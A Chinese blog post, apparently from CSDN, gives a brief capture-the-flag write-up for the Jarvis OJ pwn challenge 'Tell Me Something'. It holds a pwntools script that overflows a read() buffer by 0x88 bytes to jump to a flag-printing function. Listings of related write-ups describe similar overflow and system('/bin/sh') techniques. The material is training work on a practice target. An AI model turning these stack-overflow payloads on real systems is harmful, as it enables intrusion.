18.9.19 Jarvis OJ PWN----Tell Me Something

最新推荐文章于 2020-07-14 23:24:38 发布
最新推荐文章于 2020-07-14 23:24:38 发布
阅读量189 收藏
点赞数 1
分类专栏： PWN_WP 文章标签： Jarvis OJ PWN Tell Me Something
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42192672/article/details/82772153
版权

我先checksec一下

可以栈溢出，发现主函数里的read函数就可以溢出

我们可以看到函数列表里还有个函数叫good_game

那直接覆盖然会地址就好啦

上脚本

#函数主体

cn.recvuntil("Input your message:\n")
goodgame_addr=0x00400620
payload='a'*(0x88)+p64(goodgame_addr)
cn.sendline(payload)
cn.interactive()

 

xiaoyuyulala
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【jarvisoj刷题之旅】pwn题目Tell Me Something的writeup
iqiqiya的博客
10-14 997
题目信息： file一下  发现是64位的ELF checksec检查下安全性 objdump -t 文件名   可以查看符号表 iqiqiya@521:~/Desktop/jarvisOJ$ objdump -t guestbook guestbook: file format elf64-x86-64 SYMBOL TABLE: 00000000004002...
18.9.19 Jarvis OJ PWN----Smashes
qq_42192672的博客
09-19 530
先checksec一下 我的天，有栈保护，nx，咋办…… IDA进去，我们可以看见有个函数挺关键的，如下 我们可以看到stdin是可以无限输入的，但是只有接收输入时接收到'\n'，才会继续执行（跳出while循环），找不出栈溢出的办法 然后看了大佬的操作之后发现：可以故意触发canary来攻击(SSP（Stack Smashing Protector ） leak) 先介绍一下好...
Jarvis OJ Tell Me Something
九层台
04-05 576
nc pwn.jarvisoj.com 9876 题目网址 https://www.jarvisoj.com/challenges 需要原料： python zio模块。 拿到程序名字太长了，改名成 1 用file命令查看文件类型 file 1 1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically...
(Jarvis Oj)(Pwn) Tell Me Something
Nothing
06-14 998
(Jarvis Oj)(Pwn) Tell Me Something 首先查看程序开的保护。基本什么都没有。 丢到ida中，主函数。 然后发现了good_game函数。 这个函数的用途就显而易见了，输出目录下的”flag.txt”文件。于是利用read函数导致的栈溢出，将返回地址覆盖为good_game函数的地址。通过ida或者cyclic工具可以获得需要的填充的长度。写得脚本...
Javris oj -pwn tell me something
hanqdi_的博客
02-04 588
pwn - tell me something 修改权限：chmod 777 guestbook 检查保护机制：checksec guestbook 64位文件，开启堆栈不可执行保护，不能往堆栈里写入shellcode解题。 用64位ida打开guestbook，找漏洞点 from pwn import * r=remote('pwn.jarvisoj.com',9876) pay...
jarvisoj——Tell Me Something
王嘟嘟的博客
07-14 551
本来想做其他的平台，但是搜了一下还是这个平台比较适合入门。 题目 Wp 这里首先下载，然后ida打开，看到main函数 main函数说的实际上就是有一个保存的栈大小为136，但是确允许输入256栈大小的内容，这里存在栈溢出的问题。 然后这里可以看到有一个good_gaem 可以看到是读取了一个flag.txt的文件。 那么需要做的就是先覆盖，这里我自己感觉的是，覆盖先将自身拉满，然后加返回地址直接覆盖就行。 最后就是先覆盖136的自身，然后加上good_game的地址即可。 pwntools fro
18.9.18 Jarvis OJ PWN----[XMAN]level2
qq_42192672的博客
09-18 217
先检测文件 我们可以看到没有栈保护，可以利用栈溢出 拖进IDA 先是一个vulnerable_function函数，同时在函数列表中我们可以看到有system函数，我们可以把returnaddress牵引到system函数上，执行/bin/sh语句 buf的偏移量是0x88个字节，花0x04个字节覆盖ebp，然后伪造returnsddress跳转到system，再加上用来给syst...
18.9.20 Jarvis OJ PWN----Test Your Memory
qq_42192672的博客
09-20 317
先checksec一下 可以栈溢出 放到IDA里看一下，发现有system函数（在函数with_func中调用），喜出望外，同时搜索字符串时，可以发现打开flag的指令，如下 再看一下哪里可以溢出，在mem_test函数中，scanf就可以溢出 直接上脚本吧 #代码主体 system_addr=bin.symbols['win_func'] payload='a'*(0x...
Jarvis-Musical-Bot:Jarvis Telegram Music Bot for Spotify
04-06
Jarvis Telegram Music Bot for Spotify 该Telegram机器人允许用户授权其Spotify帐户并获得不错的功能。 授权实际上不收集用户昵称以外的任何私人数据。 其特点： 分享当前歌曲。 您可以共享Spotify客户端上当前...
jarvis：JARVIS-Tools：用于数据驱动的原子材料设计的开源软件包
02-05
jarvis：JARVIS-Tools：用于数据驱动的原子材料设计的开源软件包
PyPI 官网下载 | jarvis_tools-2019.7.11-py2.py3-none-any.whl
02-07
标题中的"PyPI 官网下载 | jarvis_tools-2019.7.11-py2.py3-none-any.whl"表明我们讨论的是一个从Python Package Index（PyPI）官方源下载的软件包，名为`jarvis_tools`，其版本号为2019.7.11。这个软件包是针对...
Python库 | jarvis_ironman-5.3.1-py2.py3-none-any.whl
02-16
Python库“jarvis_ironman-5.3.1-py2.py3-none-any.whl”是一个用于Python开发的重要工具，特别适用于后端开发。这个库的版本为5.3.1，支持Python 2和Python 3两种解释器，表明它具有良好的向后兼容性，能满足不同...
Python库 | jarvis_tools-10.23.2018-py2.py3-none-any.whl
03-31
资源分类：Python库 所属语言：Python 资源全名：jarvis_tools-10.23.2018-py2.py3-none-any.whl 资源来源：官方 安装方法：https://lanzao.blog.csdn.net/article/details/101784059
2018 SUCTF招新赛
qq_42192672的博客
11-15 1758
PWN 1.stack checksec一波 什么保护都没开，可还行，IDA找一波漏洞 read函数百分之百溢出 我们看到了我们喜爱的 改一下rip美滋滋 exp #coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','b...
18.9.16 PWN----When Did You Born
qq_42192672的博客
09-16 1284
最近想学一下pwn的基础 这个是南邮CTF平台的PWN的第一题把算是（老平台的唯一一道） 听大神说pwn很多文件都采取elf头，所以推荐在linux下食用 直接拖进IDA，分析一下 看下来是利用缓冲区溢出吧，先输入v4字符串覆盖空间，然后再给v5赋值1926就好了，试试看，从ebp的偏移可以看出来v4距离v5需要覆盖8个字节 但是有个坑就是刚开始What's your birth那里...
HGAME 2017 or 2018 PWN levels
qq_42192672的博客
11-12 926
这个算是做之前的复现吧，感谢Veritas501 WEEK1 1.flag server 拖进IDA看一下 流程倒着看，要有flag-----v8=1-----v5=v6-----s1=admin，我们可以把s1覆盖掉-----username长度不能大于63，不能等于0-----之后还要猜出随机数v6，看一下怎么覆盖 这些变量都在一起，美滋滋 exp from pwn...
pwnable.tw 9 seethefile [250 pts]
qq_42192672的博客
12-04 785
之前做了五道题直接做自闭了，各种手写shellcode，学到了很多姿势，这是一道文件题，没接触过，来挑战一下…… no canary found!!!!!! 拖进IDA分析 一共有五个功能 有一个明显的栈溢出 我们可以通过溢出name来覆盖fp 1）openfile：打开文件，文件指针就是fp，不能打开文件名为flag的文件 2）readfile：从fp读取0x18F个字节...
安恒 12月 pwn ----messageb0x
qq_42192672的博客
12-24 726
这次安恒就看了pwn题，第二个是orange，还不会，就做了下第一个 总体就是个简单的rop，但是有个坑就是题目让我们猜libc的版本到底是啥 然后我在IDA里看到了一个字符串 被坑惨了，在2.27调试了半天后来发现是2.23的，哭了 #coding=utf8 from pwn import * context.log_level = 'debug' context.terminal...
JarvisOJ：实战渗透挑战与信息获取技术
"JarvisOJ 是一个综合性的在线编程竞赛平台，提供了多种挑战环节以测试参赛者的技能。本文将介绍几个关键知识点： 1. JarvisOJ-WEB 部分：该部分强调了平台的安全性，特别是对访问控制的设置。题目要求使用特定端口...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值